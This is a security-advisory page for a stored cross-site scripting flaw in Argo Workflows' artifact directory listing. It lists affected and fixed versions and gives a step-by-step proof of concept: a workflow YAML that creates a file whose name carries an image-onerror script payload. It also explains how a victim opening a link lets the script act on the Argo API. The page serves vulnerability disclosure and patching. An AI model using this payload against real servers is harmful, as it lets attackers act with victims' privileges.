HighGHSA-cv78-6m8q-ph82BIT-argo-workflows-2026-23960CVE-2026-23960GO-2026-4350

Argo Workflows affected by stored XSS in the artifact directory listing

Published 21 Jan 2026 · Updated 10 Sept 2026

Is your project on an affected github.com/argoproj/argo-workflows/v3?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Look after several Go apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Affected packages

Affected
<3.6.17
Fixed in
3.6.17
Update to the fixed version for your release line, for example:go get github.com/argoproj/argo-workflows/v3@v3.6.17
Affected
>=3.7.0 <3.7.8
Fixed in
3.7.8
Update to the fixed version for your release line, for example:go get github.com/argoproj/argo-workflows/v3@v3.7.8
Affected
<=2.5.3-rc4
Fixed in
No fix released

Details

Summary

Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.

Details

The directory listing response in server/artifacts/artifact_server.go renders object names directly into HTML via fmt.Fprintf without escaping. Object names come from driver.ListObjects(...) and are attacker‑controlled when a workflow writes files into an output artifact directory.

https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244

PoC

1. Deploy Argo Workflows:

kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres

2. Port‑forward Argo Server:

kubectl -n argo port-forward deploy/argo-server 2746:2746

3. Create the PoC workflow:

cat > /tmp/argo-xss.yaml <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: xss-artifact-test-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: alpine
      command: [sh, -c]
      args:
      - |
        mkdir -p /tmp/artifacts
        touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html'
    outputs:
      artifacts:
      - name: dir
        path: /tmp/artifacts
        archive:
          none: {}
EOF
kubectl -n argo create -f /tmp/argo-xss.yaml

4. Wait for completion:

kubectl -n argo get wf -w

5. Get the node ID:

kubectl -n argo get wf <wf-name> \
  -o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}'

6. Open the listing: https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/

<img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b" />

Impact

  • The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API.
  • The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.

As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may):

  • Read information about the victim’s workflows.
  • Create or delete workflows.

Is GHSA-cv78-6m8q-ph82 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/argoproj/argo-workflows/v3, and gives you the command that fixes it.

More advisories for github.com/argoproj/argo-workflows/v3

  • LowCVE-2026-54526Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892) in github.com/argoproj/argo-workflows · 18 Aug 2026
  • HighCVE-2026-54526Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892) · 13 Aug 2026
  • LowCVE-2026-42297Argo has Missing Authorization in its Sync ConfigMap Provider in github.com/argoproj/argo-workflows · 25 Jun 2026
  • LowCVE-2026-42183Argo Affected by SSO RBAC Delegation Nil Pointer Dereference DoS (gatekeeper.go) in github.com/argoproj/argo-workflows · 25 Jun 2026
  • LowCVE-2026-42294Argo Vulnerable to Unauthenticated Memory Exhaustion (DoS) in Webhook Interceptor in github.com/argoproj/argo-workflows · 25 Jun 2026
  • LowCVE-2026-42295Argo vulnerable to exposure of artifact repository credentials in github.com/argoproj/argo-workflows · 25 Jun 2026
All 33 advisories for github.com/argoproj/argo-workflows/v3

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.